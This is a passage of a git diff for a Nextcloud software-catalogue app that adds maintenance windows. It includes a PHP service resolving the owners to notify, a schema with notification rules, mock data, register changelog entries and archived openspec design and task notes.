Load a maintenance window and record the owners to notify on it. + * + * @param string $uuid The window's id. + * @param string|int|null $register The register it lives in. + * @param string|int|null $schema Its schema. + * + * @return array|null The user ids written, or null when nothing was written. + * + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-003-the-owners-of-every-usage-are-notified + */ + public function recordRecipientsFor(string $uuid, string|int|null $register, string|int|null $schema): ?array { + $objectService = $this->getObjectService(); + if ($objectService === null) { + return null; + } + + try { + $window = $objectService->find(id: $uuid, register: $register, schema: $schema, _rbac: false, _multitenancy: false); + } catch (\Throwable $e) { + $this->logger->error( + 'MaintenanceRecipientService: could not read the maintenance window', + ['uuid' => $uuid, 'error' => $e->getMessage()] + ); + return null; + } + + if ($window === null) { + return null; + } + + return $this->recordRecipients(window: $window); + }//end recordRecipientsFor() + + /** + * Record the owners to notify on a newly announced maintenance window. + * + * Writes `notifyUserIds` and `recipientsResolvedAt`; the rule + * `maintenance-announced` fires on the change of the latter. A window that + * already carries a resolved time is left alone, so the write this method + * makes cannot start it again. + * + * @param ObjectEntityInterface $window The maintenance window. + * @param DateTimeImmutable|null $now The moment of resolution (defaults to now). + * + * @return array|null The user ids written, or null when nothing was written. + * + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-003-the-owners-of-every-usage-are-notified + */ + public function recordRecipients(ObjectEntityInterface $window, ?DateTimeImmutable $now=null): ?array { + $data = $window->getObject(); + if (empty($data['recipientsResolvedAt']) === false) { + return null; + } + + $moduleId = self::referenceId(value: ($data['module'] ?? null)); + $objectService = $this->getObjectService(); + if ($moduleId === null || $objectService === null) { + return null; + } + + $userIds = $this->ownerUserIds(objectService: $objectService, moduleId: $moduleId); + + $data['notifyUserIds'] = $userIds; + $data['recipientsResolvedAt'] = ($now ?? new DateTimeImmutable())->format(DateTimeInterface::ATOM); + + try { + $objectService->saveObject( + object: $data, + extend: [], + register: $window->getRegister(), + schema: $window->getSchema(), + uuid: $window->getUuid(), + _rbac: false, + _multitenancy: false + ); + } catch (\Throwable $e) { + $this->logger->error( + 'MaintenanceRecipientService: could not record the owners to notify', + ['uuid' => $window->getUuid(), 'error' => $e->getMessage()] + ); + return null; + } + + return $userIds; + }//end recordRecipients() + + /** + * The Nextcloud user ids of the owners of every usage of a product. + * + * @param ObjectServiceInterface $objectService OpenRegister's object service. + * @param string $moduleId The product's id. + * + * @return array Unique user ids, in the order found. + * + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-003-the-owners-of-every-usage-are-notified + */ + public function ownerUserIds(ObjectServiceInterface $objectService, string $moduleId): array { + $contactIds = $this->ownerContactIds(objectService: $objectService, moduleId: $moduleId); + if ($contactIds === []) { + return []; + } + + $register = $this->settingsService->getRegisterIdForObjectType('contactPerson'); + $schema = $this->settingsService->getSchemaIdForObjectType('contactPerson'); + if ($register === null || $schema === null) { + return []; + } + + try { + $people = $objectService->searchObjects( + query: ['register' => $register, 'schema' => $schema, '_limit' => count($contactIds)], + _rbac: false, + _multitenancy: false, + ids: $contactIds + ); + } catch (\Throwable $e) { + $this->logger->error('MaintenanceRecipientService: could not read the owners', ['error' => $e->getMessage()]); + return []; + } + + $userIds = []; + foreach ((array) $people as $person) { + $uid = $this->userIdForContactPerson(person: $person->getObject()); + if ($uid !== null && in_array($uid, $userIds, true) === false) { + $userIds[] = $uid; + } + } + + return $userIds; + }//end ownerUserIds() + + /** + * The contact person ids named as owner on the usages of a product. + * + * @param ObjectServiceInterface $objectService OpenRegister's object service. + * @param string $moduleId The product's id. + * + * @return array Unique contact person ids. + */ + private function ownerContactIds(ObjectServiceInterface $objectService, string $moduleId): array { + $register = $this->settingsService->getRegisterIdForObjectType('usage'); + $schema = $this->settingsService->getSchemaIdForObjectType('usage'); + if ($register === null || $schema === null) { + return []; + } + + try { + $usages = $objectService->searchObjects( + query: ['register' => $register, 'schema' => $schema, 'module' => $moduleId, '_limit' => self::USAGE_LIMIT], + _rbac: false, + _multitenancy: false + ); + } catch (\Throwable $e) { + $this->logger->error('MaintenanceRecipientService: could not read the usages', ['error' => $e->getMessage()]); + return []; + } + + $ids = []; + foreach ((array) $usages as $usage) { + $data = $usage->getObject(); + foreach (self::OWNER_FIELDS as $field) { + $id = self::referenceId(value: ($data[$field] ?? null)); + if ($id !== null && in_array($id, $ids, true) === false) { + $ids[] = $id; + } + } + } + + return $ids; + }//end ownerContactIds() + + /** + * The Nextcloud user a contact person stands for. + * + * A contact in the system address book carries the user id as its UID; + * any other contact is matched to a user by e-mail address. + * + * @param array $person The contact person object. + * + * @return string|null The user id, or null when no user matches. + */ + private function userIdForContactPerson(array $person): ?string { + $contact = $this->contacts->findContactByUid((string) ($person['contactsUid'] ?? '')); + if ($contact === null) { + return null; + } + + if (($contact['isLocalSystemBook'] ?? false) === true && $this->userManager->userExists((string) ($contact['UID'] ?? '')) === true) { + return (string) $contact['UID']; + } + + foreach ((array) ($contact['EMAIL'] ?? []) as $email) { + if (is_array($email) === true) { + $email = ($email['value'] ?? ''); + } + + if (is_string($email) === false || $email === '') { + continue; + } + + $users = $this->userManager->getByEmail($email); + if (count($users) === 1) { + return $users[0]->getUID(); + } + } + + return null; + }//end userIdForContactPerson() + + /** + * The id a relation value points at: a plain id, or an object carrying one. + * + * @param mixed $value The stored relation value. + * + * @return string|null The id, or null when the value names none. + * + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-003-the-owners-of-every-usage-are-notified + */ + public static function referenceId(mixed $value): ?string { + if (is_string($value) === true && $value !== '') { + return $value; + } + + if (is_array($value) === true) { + foreach (['id', 'uuid'] as $key) { + if (is_string($value[$key] ?? null) === true && $value[$key] !== '') { + return $value[$key]; + } + } + } + + return null; + }//end referenceId() + + /** + * Lazily resolve OpenRegister's ObjectService. + * + * @return ObjectServiceInterface|null The service, or null when OpenRegister is absent. + */ + private function getObjectService(): ?ObjectServiceInterface { + try { + $service = $this->container->get(ObjectServiceInterface::class); + if ($service instanceof ObjectServiceInterface) { + return $service; + } + } catch (\Throwable $e) { + $this->logger->debug('MaintenanceRecipientService: ObjectService not resolvable', ['error' => $e->getMessage()]); + } + + return null; + }//end getObjectService() +}//end class diff --git a/lib/Service/SettingsService.php b/lib/Service/SettingsService.php index fc8e4eb61..3195de0f1 100644 --- a/lib/Service/SettingsService.php +++ b/lib/Service/SettingsService.php @@ -912,6 +912,8 @@ public function getSchemaIdForObjectType(string $objectType): ?int { 'suite' => 'suite_schema', 'vulnerability' => 'kwetsbaarheid_schema', 'sector' => 'sector_schema', + // Planned maintenance on a product (lifecycle-maintenance-and-supplier-roadmap). + 'maintenanceWindow' => 'maintenanceWindow_schema', ]; // Only check voorzieningen config if object type exists in the key map. @@ -4224,6 +4226,7 @@ private function configureVoorzieningen(): array { 'moduleVersion' => 'moduleVersie_schema', 'sector' => 'sector_schema', 'sbomComponent' => 'sbomComponent_schema', + 'maintenanceWindow' => 'maintenanceWindow_schema', ]; $config = [ 'register' => (string)($targetRegister['id'] ?? '') ]; @@ -4657,6 +4660,7 @@ private function normalizeVoorzieningenConfig(array $input): array { 'moduleVersie_schema', 'sector_schema', 'sbomComponent_schema', + 'maintenanceWindow_schema', ]; // Copy any present schema keys; ignore sources/registers. diff --git a/lib/Settings/register.d/maintenance-and-roadmap.json b/lib/Settings/register.d/maintenance-and-roadmap.json new file mode 100644 index 000000000..a974dc1cd --- /dev/null +++ b/lib/Settings/register.d/maintenance-and-roadmap.json @@ -0,0 +1,20 @@ +{ + "components": { + "schemas": { + "module": { + "version": "0.3.4", + "properties": { + "roadmapStatement": { + "type": "string", + "format": "markdown", + "title": "Roadmap", + "description": "The direction the supplier takes with this application: what the next versions bring and when.", + "maxLength": 5000, + "facetable": false, + "order": 4 + } + } + } + } + } +} diff --git a/lib/Settings/softwarecatalogus_register.json b/lib/Settings/softwarecatalogus_register.json index 7d788425a..85f71c906 100644 --- a/lib/Settings/softwarecatalogus_register.json +++ b/lib/Settings/softwarecatalogus_register.json @@ -3,8 +3,8 @@ "info": { "title": "Software Catalog Register", "description": "Register containing AMEF and Voorzieningen schemas for the VNG Software Catalog application. This configuration includes schemas for applications, services, organizations, and compliance tracking.", - "version": "2.5.4", - "changelog": "2.5.4: usage (1.5.2) gains businessOwner and technicalOwner, contact persons of the consumer organisation; a usage is named after its application and organisation; status becomes facetable for the Applications in use filters (landscape-usage-registration). 2.5.3: the aiSystem schema (0.1.0) joins the stackiq register, for the AI systems an organisation uses and their EU AI Act classification (landscape-ai-system-inventory). 2.5.2: the connection schema (0.3.3) asked its national provision picker for gemmaType Buitengemeentenlijke voorziening, a spelling the GEMMA model does not use (it says Buitengemeentelijke voorziening), so the picker found nothing; its name template named the keys gegevensuitwisselingRichting and buitengemeentelijkVoorziening and the values AnaarB, BnaarA and bi-directioneel, all renamed since, so a connection had no readable name; and type, status and dataExchangeDirection become facetable for the new Connections page (connections-catalogue-pages). 2.5.1: the x-openregister-lifecycle blocks of usage, catalogContract, connection and moduleVersion still named the Dutch states (Verwerving/Gepland/In productie/Uit te faseren/Uitgefaseerd, In onderhandeling/Actief/Verlopen, in ontwikkeling/in gebruik/einde ondersteuning/teruggetrokken) while their status enums and the rows RenameDutchCatalogValues migrated are English, so no transition was ever offered on those records (stackiq#1140). The states now use the enum values, and the four schema versions are bumped (usage 1.5.1, catalogContract 0.1.2, connection 0.3.2, moduleVersion 0.1.5) because a lifecycle-only edit does not deploy without one, as 2.4.4 records. 2.4.4: organization.status was left behind by #520's enum translation — its `default` was still 'Concept' and its whole x-openregister-lifecycle block still named Concept/Actief/Deactief, while the enum and the migrated rows are Draft/Active/Inactive/merged. A default outside its own enum makes every newly created organisation fall out of the Organisations index filter, and a lifecycle whose from/to values match no row offers no transition at all — neither raises an error. The schema version is bumped with it because a deployed version >= the declared one makes the import SKIP, and OpenRegister's schemaContentDiffers() escape hatch compares only properties/required/authorization — never `configuration` — so a lifecycle-only edit would never have deployed. 2.4.3: Re-authored Dutch schema-level titles to English (dienst, kwetsbaarheid, contactpersoon, organisatie, gebruik, koppeling, beoordeeling, module, bioMaatregel, moduleVersie, sbomComponent); schema keys unchanged, Dutch labels now come from the app's l10n translation files. 2.4.2: Moved SBOM provenance properties (sbomLastImportedAt, sbomFormat, sbomFileName, sbomComponents) from the organisatie schema to moduleVersie, where SBOM imports actually record them; without this the moduleVersie magic table lacked the columns so recordProvenance() writes were silently dropped and the import-status endpoint always reported 'never imported'. 2.4.1: Re-authored Dutch schema property titles to English (property keys unchanged); Dutch labels now come from the app's l10n translation files." + "version": "2.5.5", + "changelog": "2.5.5: the maintenanceWindow schema (0.1.0) joins the stackiq register, for maintenance a supplier plans on its products, with the owners of every usage notified (lifecycle-maintenance-and-supplier-roadmap). 2.5.4: usage (1.5.2) gains businessOwner and technicalOwner, contact persons of the consumer organisation; a usage is named after its application and organisation; status becomes facetable for the Applications in use filters (landscape-usage-registration). 2.5.3: the aiSystem schema (0.1.0) joins the stackiq register, for the AI systems an organisation uses and their EU AI Act classification (landscape-ai-system-inventory). 2.5.2: the connection schema (0.3.3) asked its national provision picker for gemmaType Buitengemeentenlijke voorziening, a spelling the GEMMA model does not use (it says Buitengemeentelijke voorziening), so the picker found nothing; its name template named the keys gegevensuitwisselingRichting and buitengemeentelijkVoorziening and the values AnaarB, BnaarA and bi-directioneel, all renamed since, so a connection had no readable name; and type, status and dataExchangeDirection become facetable for the new Connections page (connections-catalogue-pages). 2.5.1: the x-openregister-lifecycle blocks of usage, catalogContract, connection and moduleVersion still named the Dutch states (Verwerving/Gepland/In productie/Uit te faseren/Uitgefaseerd, In onderhandeling/Actief/Verlopen, in ontwikkeling/in gebruik/einde ondersteuning/teruggetrokken) while their status enums and the rows RenameDutchCatalogValues migrated are English, so no transition was ever offered on those records (stackiq#1140). The states now use the enum values, and the four schema versions are bumped (usage 1.5.1, catalogContract 0.1.2, connection 0.3.2, moduleVersion 0.1.5) because a lifecycle-only edit does not deploy without one, as 2.4.4 records. 2.4.4: organization.status was left behind by #520's enum translation — its `default` was still 'Concept' and its whole x-openregister-lifecycle block still named Concept/Actief/Deactief, while the enum and the migrated rows are Draft/Active/Inactive/merged. A default outside its own enum makes every newly created organisation fall out of the Organisations index filter, and a lifecycle whose from/to values match no row offers no transition at all — neither raises an error. The schema version is bumped with it because a deployed version >= the declared one makes the import SKIP, and OpenRegister's schemaContentDiffers() escape hatch compares only properties/required/authorization — never `configuration` — so a lifecycle-only edit would never have deployed. 2.4.3: Re-authored Dutch schema-level titles to English (dienst, kwetsbaarheid, contactpersoon, organisatie, gebruik, koppeling, beoordeeling, module, bioMaatregel, moduleVersie, sbomComponent); schema keys unchanged, Dutch labels now come from the app's l10n translation files. 2.4.2: Moved SBOM provenance properties (sbomLastImportedAt, sbomFormat, sbomFileName, sbomComponents) from the organisatie schema to moduleVersie, where SBOM imports actually record them; without this the moduleVersie magic table lacked the columns so recordProvenance() writes were silently dropped and the import-status endpoint always reported 'never imported'. 2.4.1: Re-authored Dutch schema property titles to English (property keys unchanged); Dutch labels now come from the app's l10n translation files." }, "x-openregister": { "type": "application", @@ -836,7 +836,8 @@ "moduleVersion", "sbomComponent", "bioMeasure", - "aiSystem" + "aiSystem", + "maintenanceWindow" ], "source": "internal", "tablePrefix": "", @@ -8370,6 +8371,283 @@ } ] } + }, + "maintenanceWindow": { + "uri": null, + "slug": "maintenanceWindow", + "title": "Maintenance window", + "x-schema-org": "schema:Event", + "description": "Maintenance a supplier plans on one of its products, with the time window and the expected impact.", + "version": "0.1.0", + "icon": "Calendar", + "required": [ + "module", + "title", + "startsAt", + "endsAt" + ], + "source": "internal", + "hardValidation": false, + "immutable": false, + "searchable": true, + "maxDepth": 0, + "properties": { + "module": { + "type": "object", + "$ref": "#/components/schemas/module", + "objectConfiguration": { + "handling": "related-object" + }, + "title": "Application", + "description": "The product the maintenance is on.", + "facetable": true, + "order": 1, + "table": { + "default": true + } + }, + "moduleVersion": { + "type": "object", + "$ref": "#/components/schemas/moduleVersion", + "objectConfiguration": { + "handling": "related-object" + }, + "x-relation-filter": { + "module": "@object.module" + }, + "title": "Version", + "description": "The version the maintenance is on, when it concerns one version.", + "facetable": false, + "order": 2 + }, + "title": { + "type": "string", + "title": "Title", + "description": "What the maintenance is, in a few words.", + "maxLength": 255, + "facetable": false, + "order": 3, + "table": { + "default": true + } + }, + "description": { + "type": "string", + "format": "markdown", + "title": "Description", + "description": "What changes and what users should do.", + "maxLength": 5000, + "facetable": false, + "order": 4 + }, + "startsAt": { + "type": "string", + "format": "date-time", + "title": "Starts at", + "description": "When the maintenance starts.", + "facetable": false, + "order": 5, + "table": { + "default": true + } + }, + "endsAt": { + "type": "string", + "format": "date-time", + "title": "Ends at", + "description": "When the maintenance ends.", + "facetable": false, + "order": 6, + "table": { + "default": true + } + }, + "impact": { + "type": "string", + "enum": [ + "no impact", + "degraded", + "unavailable" + ], + "x-enum-labels": { + "no impact": "No impact", + "degraded": "Degraded", + "unavailable": "Unavailable" + }, + "default": "degraded", + "title": "Impact", + "description": "What users notice while the maintenance runs.", + "facetable": true, + "order": 7, + "table": { + "default": true + } + }, + "status": { + "type": "string", + "enum": [ + "planned", + "in progress", + "completed", + "cancelled" + ], + "x-enum-labels": { + "planned": "Planned", + "in progress": "In progress", + "completed": "Completed", + "cancelled": "Cancelled" + }, + "default": "planned", + "title": "Status", + "description": "Where the maintenance stands.", + "facetable": true, + "order": 8, + "table": { + "default": true + } + }, + "notifyUserIds": { + "type": "array", + "items": { + "type": "string" + }, + "hideOnForm": true, + "visible": false, + "title": "Owners to notify", + "description": "The Nextcloud users who own a usage of the product, resolved when the maintenance is announced.", + "facetable": false, + "order": 9 + }, + "recipientsResolvedAt": { + "type": "string", + "format": "date-time", + "hideOnForm": true, + "visible": false, + "title": "Owners resolved at", + "description": "When the owners to notify were resolved.", + "facetable": false, + "order": 10 + } + }, + "configuration": { + "objectNameField": "title", + "objectDescriptionField": "description", + "autoPublish": true, + "x-openregister-lifecycle": { + "field": "status", + "initial": "planned", + "final": [ + "completed", + "cancelled" + ], + "transitions": { + "start": { + "from": [ + "planned" + ], + "to": "in progress", + "description": "Start the maintenance." + }, + "complete": { + "from": [ + "in progress" + ], + "to": "completed", + "description": "Complete the maintenance." + }, + "cancel": { + "from": [ + "planned", + "in progress" + ], + "to": "cancelled", + "description": "Cancel the maintenance." + } + } + } + }, + "x-openregister-notifications": { + "maintenance-announced": { + "trigger": { + "type": "updated", + "condition": { + "field": "recipientsResolvedAt", + "operator": "changed" + } + }, + "enabled": true, + "channels": [ + "nc-notification" + ], + "recipients": [ + { + "kind": "relation", + "relation": "notifyUserIds" + } + ], + "subject": { + "nl": "Gepland onderhoud: {{title}}", + "en": "Planned maintenance: {{title}}" + } + }, + "maintenance-starts-tomorrow": { + "trigger": { + "type": "scheduled", + "intervalSec": 86400, + "filter": { + "startsAt": { + "operator": "withinNext", + "value": "P1D" + }, + "status": { + "operator": "equals", + "value": "planned" + } + } + }, + "enabled": true, + "channels": [ + "nc-notification" + ], + "recipients": [ + { + "kind": "relation", + "relation": "notifyUserIds" + } + ], + "subject": { + "nl": "Onderhoud begint morgen: {{title}}", + "en": "Maintenance starts tomorrow: {{title}}" + } + } + }, + "authorization": { + "create": [ + "software-catalog-admins", + "aanbod-beheerder" + ], + "read": [ + "public" + ], + "update": [ + "software-catalog-admins", + { + "group": "aanbod-beheerder", + "match": { + "_organisation": "$organisation" + } + } + ], + "delete": [ + "software-catalog-admins", + { + "group": "aanbod-beheerder", + "match": { + "_organisation": "$organisation" + } + } + ] + } } }, "objects": [ diff --git a/lib/Settings/stackiq_mock_register.json b/lib/Settings/stackiq_mock_register.json index d39fdf97c..07cbadb7e 100644 --- a/lib/Settings/stackiq_mock_register.json +++ b/lib/Settings/stackiq_mock_register.json @@ -10933,6 +10933,90 @@ "aiActRiskCategory": "minimal risk", "aiActRole": "deployer", "status": "in use" + }, + { + "@self": { + "register": "stackiq", + "schema": "maintenanceWindow", + "slug": "maintenance-database-upgrade" + }, + "module": {}, + "title": "Database upgrade", + "description": "The supplier moves the application to a new database version. Log out before the window starts.", + "startsAt": "2026-10-10T06:00:00+02:00", + "endsAt": "2026-10-10T10:00:00+02:00", + "impact": "unavailable", + "status": "planned" + }, + { + "@self": { + "register": "stackiq", + "schema": "maintenanceWindow", + "slug": "maintenance-security-patch" + }, + "module": {}, + "title": "Security patch", + "description": "A security patch is installed; the application stays available but may respond slowly.", + "startsAt": "2026-10-17T20:00:00+02:00", + "endsAt": "2026-10-17T21:00:00+02:00", + "impact": "degraded", + "status": "planned" + }, + { + "@self": { + "register": "stackiq", + "schema": "maintenanceWindow", + "slug": "maintenance-storage-move" + }, + "module": {}, + "title": "Storage move", + "description": "Documents move to new storage. Nothing changes for users.", + "startsAt": "2026-10-24T22:00:00+02:00", + "endsAt": "2026-10-25T02:00:00+02:00", + "impact": "no impact", + "status": "completed" + }, + { + "@self": { + "register": "vng-gemma", + "schema": "maintenanceWindow", + "slug": "maintenance-database-upgrade" + }, + "module": {}, + "title": "Database upgrade", + "description": "The supplier moves the application to a new database version. Log out before the window starts.", + "startsAt": "2026-10-10T06:00:00+02:00", + "endsAt": "2026-10-10T10:00:00+02:00", + "impact": "unavailable", + "status": "planned" + }, + { + "@self": { + "register": "vng-gemma", + "schema": "maintenanceWindow", + "slug": "maintenance-security-patch" + }, + "module": {}, + "title": "Security patch", + "description": "A security patch is installed; the application stays available but may respond slowly.", + "startsAt": "2026-10-17T20:00:00+02:00", + "endsAt": "2026-10-17T21:00:00+02:00", + "impact": "degraded", + "status": "planned" + }, + { + "@self": { + "register": "vng-gemma", + "schema": "maintenanceWindow", + "slug": "maintenance-storage-move" + }, + "module": {}, + "title": "Storage move", + "description": "Documents move to new storage. Nothing changes for users.", + "startsAt": "2026-10-24T22:00:00+02:00", + "endsAt": "2026-10-25T02:00:00+02:00", + "impact": "no impact", + "status": "completed" } ] } diff --git a/openspec/changes/lifecycle-maintenance-and-supplier-roadmap/.openspec.yaml b/openspec/changes/archive/2026-09-29-lifecycle-maintenance-and-supplier-roadmap/.openspec.yaml similarity index 100% rename from openspec/changes/lifecycle-maintenance-and-supplier-roadmap/.openspec.yaml rename to openspec/changes/archive/2026-09-29-lifecycle-maintenance-and-supplier-roadmap/.openspec.yaml diff --git a/openspec/changes/lifecycle-maintenance-and-supplier-roadmap/design.md b/openspec/changes/archive/2026-09-29-lifecycle-maintenance-and-supplier-roadmap/design.md similarity index 69% rename from openspec/changes/lifecycle-maintenance-and-supplier-roadmap/design.md rename to openspec/changes/archive/2026-09-29-lifecycle-maintenance-and-supplier-roadmap/design.md index 638e6d149..f78e67f6f 100644 --- a/openspec/changes/lifecycle-maintenance-and-supplier-roadmap/design.md +++ b/openspec/changes/archive/2026-09-29-lifecycle-maintenance-and-supplier-roadmap/design.md @@ -55,3 +55,11 @@ One demo maintenance window next week on a demo product with a usage, and a road ## Risks - The listener runs on create; owners added to a usage later are not notified for an already announced window. The widget still shows it to them. + +## Changed at build (29 Sep, development `a4a28c49`) + +- D1: `maintenanceWindow` lives in `lib/Settings/softwarecatalogus_register.json` itself (register 2.5.5), not in a `register.d` fragment. This repo's fragments may only overlay a schema the monolith declares, and the relation-dialect gate reads a fragment on its own, so a new schema with relations cannot live in one. `roadmapStatement` does stay in the fragment `register.d/maintenance-and-roadmap.json` (module 0.3.4). The schema also carries `recipientsResolvedAt` (see D3), and its icon is Calendar, the maintenance-like glyph both icon registries hold. +- D3: the listener does not resolve the owners itself. It queues `MaintenanceRecipientsJob`, and the job calls `MaintenanceRecipientService`, so the usage reads and the write run off the supplier's request (ADR-078, gate 61). Two rule details follow from OpenRegister at `4abd8343`: the `field` recipient kind takes one string, so the rules use `{ kind: relation, relation: notifyUserIds }`, which reads an array of user ids; and an `updated` trigger's `changed` condition compares scalar values only, so `announced` fires on the change of `recipientsResolvedAt`, which the job writes together with `notifyUserIds`. A contact person maps to a Nextcloud user by the system address book UID, else by a unique e-mail match (`IUserManager::getByEmail`). The rules pass OpenRegister's own `NotificationAnnotationValidator`. The app resolves the schema id through `SettingsService` (`maintenanceWindow_schema` in the import map, the lookup map and the stored config's key list; a test proved the third was needed). +- D4: the roadmap timeline sorts newest first, so planned versions (dated in the future) come first, and groups by month. +- D5: already done before this change was built, in register 2.5.1 (stackiq#1140, moduleVersion 0.1.5 with the lifecycle on the enum values). Nothing to do. +- D2: the Planned maintenance list offers "Announce maintenance" (the list's create button); the list filter fills in the product. diff --git a/openspec/changes/lifecycle-maintenance-and-supplier-roadmap/proposal.md b/openspec/changes/archive/2026-09-29-lifecycle-maintenance-and-supplier-roadmap/proposal.md similarity index 100% rename from openspec/changes/lifecycle-maintenance-and-supplier-roadmap/proposal.md rename to openspec/changes/archive/2026-09-29-lifecycle-maintenance-and-supplier-roadmap/proposal.md diff --git a/openspec/changes/lifecycle-maintenance-and-supplier-roadmap/specs/maintenance-and-supplier-roadmap/spec.md b/openspec/changes/archive/2026-09-29-lifecycle-maintenance-and-supplier-roadmap/specs/maintenance-and-supplier-roadmap/spec.md similarity index 95% rename from openspec/changes/lifecycle-maintenance-and-supplier-roadmap/specs/maintenance-and-supplier-roadmap/spec.md rename to openspec/changes/archive/2026-09-29-lifecycle-maintenance-and-supplier-roadmap/specs/maintenance-and-supplier-roadmap/spec.md index ffd42cee5..4a3ee52f4 100644 --- a/openspec/changes/lifecycle-maintenance-and-supplier-roadmap/specs/maintenance-and-supplier-roadmap/spec.md +++ b/openspec/changes/archive/2026-09-29-lifecycle-maintenance-and-supplier-roadmap/specs/maintenance-and-supplier-roadmap/spec.md @@ -38,7 +38,7 @@ The product page SHALL list its maintenance windows, and the dashboard SHALL lis When a supplier announces a window, stackiq SHALL notify the business and technical owners of every usage of the product, and SHALL remind them a day before the window starts while it is still planned. #### Scenario: Owners get the announcement -@e2e exclude Delivered by OpenRegister's notification engine; tests/Unit/Listener/MaintenanceRecipientsListenerTest.php asserts the resolved owners and tests/Unit/Settings/MaintenanceRoadmapFragmentTest.php the rules. +@e2e exclude Delivered by OpenRegister's notification engine; tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php asserts the resolved owners and tests/Unit/Settings/MaintenanceRoadmapFragmentTest.php the rules. - **GIVEN** two municipalities use product X and both usages have a business owner - **WHEN** the supplier announces a window on X diff --git a/openspec/changes/lifecycle-maintenance-and-supplier-roadmap/tasks.md b/openspec/changes/archive/2026-09-29-lifecycle-maintenance-and-supplier-roadmap/tasks.md similarity index 83% rename from openspec/changes/lifecycle-maintenance-and-supplier-roadmap/tasks.md rename to openspec/changes/archive/2026-09-29-lifecycle-maintenance-and-supplier-roadmap/tasks.md index cf2ed4296..0ce82205b 100644 --- a/openspec/changes/lifecycle-maintenance-and-supplier-roadmap/tasks.md +++ b/openspec/changes/archive/2026-09-29-lifecycle-maintenance-and-supplier-roadmap/tasks.md @@ -7,24 +7,24 @@ - **files**: `lib/Settings/register.d/maintenance-and-roadmap.json`, `lib/Settings/softwarecatalogus_register.json` (moduleVersion lifecycle and version), `lib/Settings/stackiq_mock_register.json` - **acceptance_criteria**: - GIVEN the merged register WHEN it is imported THEN maintenanceWindow exists and a planned version offers the release transition -- [ ] Implement -- [ ] Test (PHPUnit `tests/Unit/Settings/MaintenanceRoadmapFragmentTest.php`: schema, lifecycle states are enum values on both schemas) +- [x] Implement +- [x] Test (PHPUnit `tests/Unit/Settings/MaintenanceRoadmapFragmentTest.php`: schema, lifecycle states are enum values on both schemas) ### Task 2: Maintenance on the product page and the dashboard - **spec_ref**: openspec/changes/lifecycle-maintenance-and-supplier-roadmap/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-002-organisations-that-use-a-product-see-its-planned-maintenance - **files**: `src/manifest.json` (ModuleDetail list, Dashboard widget), `src/components/maintenance/UpcomingMaintenanceWidget.vue`, `src/customComponents.js`, `l10n/en.json`, `l10n/nl.json` - **acceptance_criteria**: - GIVEN a window next week on product X WHEN a user of a municipality that uses X opens the dashboard THEN the widget lists it -- [ ] Implement -- [ ] Test (vitest `tests/vitest/upcomingMaintenance.spec.js`; Playwright `tests/e2e/workflows/maintenance.spec.ts`) +- [x] Implement +- [x] Test (vitest `tests/vitest/maintenance.spec.js`; Playwright `tests/e2e/workflows/maintenance.spec.ts`) ### Task 3: Owner notifications - **spec_ref**: openspec/changes/lifecycle-maintenance-and-supplier-roadmap/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-003-the-owners-of-every-usage-are-notified - **files**: `lib/Listener/MaintenanceRecipientsListener.php`, `lib/AppInfo/Application.php`, `lib/Settings/register.d/maintenance-and-roadmap.json` (rules) - **acceptance_criteria**: - GIVEN two usages of X with owners WHEN the supplier creates a window THEN notifyUserIds holds the owners' user ids -- [ ] Implement -- [ ] Test (PHPUnit `tests/Unit/Listener/MaintenanceRecipientsListenerTest.php` with the real event class) +- [x] Implement +- [x] Test (PHPUnit `tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php` with the real event class) ### Task 4: Roadmap on the product page and planned releases - **spec_ref**: openspec/changes/lifecycle-maintenance-and-supplier-roadmap/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-004-a-product-page-shows-the-suppliers-roadmap @@ -32,16 +32,16 @@ - **acceptance_criteria**: - GIVEN product X with a roadmap statement and a planned version WHEN a buyer opens its page THEN the statement and the timeline with the planned version show - GIVEN the Module versions list WHEN the user picks Planned releases THEN only versions in development remain -- [ ] Implement -- [ ] Test (vitest `tests/vitest/productRoadmap.spec.js`; Playwright case in `tests/e2e/workflows/maintenance.spec.ts`) +- [x] Implement +- [x] Test (vitest `tests/vitest/maintenance.spec.js`; Playwright case in `tests/e2e/workflows/maintenance.spec.ts`) ### Task 5: Documentation - **spec_ref**: openspec/changes/lifecycle-maintenance-and-supplier-roadmap/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-004-a-product-page-shows-the-suppliers-roadmap - **files**: `docs/features/maintenance-and-roadmap.md`, `docs/images/product-roadmap.png` - **acceptance_criteria**: - GIVEN the docs site WHEN a reader opens Maintenance and roadmap THEN announcing, following and the roadmap are explained with a screenshot -- [ ] Implement -- [ ] Test (docs build, screenshot with Playwright) +- [x] Implement +- [ ] Test (docs build, screenshot with Playwright): the page is written; the screenshot waits for a seeded instance. The Playwright file lists 4 tests and was not run, no seeded instance ## Verification diff --git a/openspec/parity/capabilities.json b/openspec/parity/capabilities.json index c5f34ca52..fa3ef27bd 100644 --- a/openspec/parity/capabilities.json +++ b/openspec/parity/capabilities.json @@ -2001,21 +2001,22 @@ "bluedolphin": "unknown", "glpi": "no", "topdesk": "unknown", - "stackiq": "partial", + "stackiq": "yes", "built": { - "state": "specified", - "evidence": "register :7651 moduleVersion with status enum in development/in use/end of support/withdrawn and dateInDevelopment/dateInUse/dateEndSupport, read public; src/manifest.json:915 Moduleversies index + ModuleversieDetail", - "owner": "ConductionNL/stackiq" + "state": "built", + "evidence": "lib/Settings/register.d/maintenance-and-roadmap.json module.roadmapStatement; src/components/roadmap/ProductRoadmap.vue on ModuleDetail (statement + versions on CnTimelineView, planned first); Moduleversies Planned releases quick filter and dateInDevelopment column; tests/vitest/maintenance.spec.js", + "owner": "ConductionNL/stackiq", + "change": "2026-09-29-lifecycle-maintenance-and-supplier-roadmap" }, - "reachedOn": "Module versions /moduleversies (main menu)", + "reachedOn": "application page Roadmap section; Module versions > Planned releases", "provider": "stackiq", "providerHow": "read-from-code", "feature": "maintenance-and-supplier-roadmap", "featureConfidence": "medium", - "note": "A supplier can register a future version with status 'in development' and planned dates, which reads as a crude release plan. There is no roadmap view or declared roadmap; the overlay marks maintenance-and-supplier-roadmap as 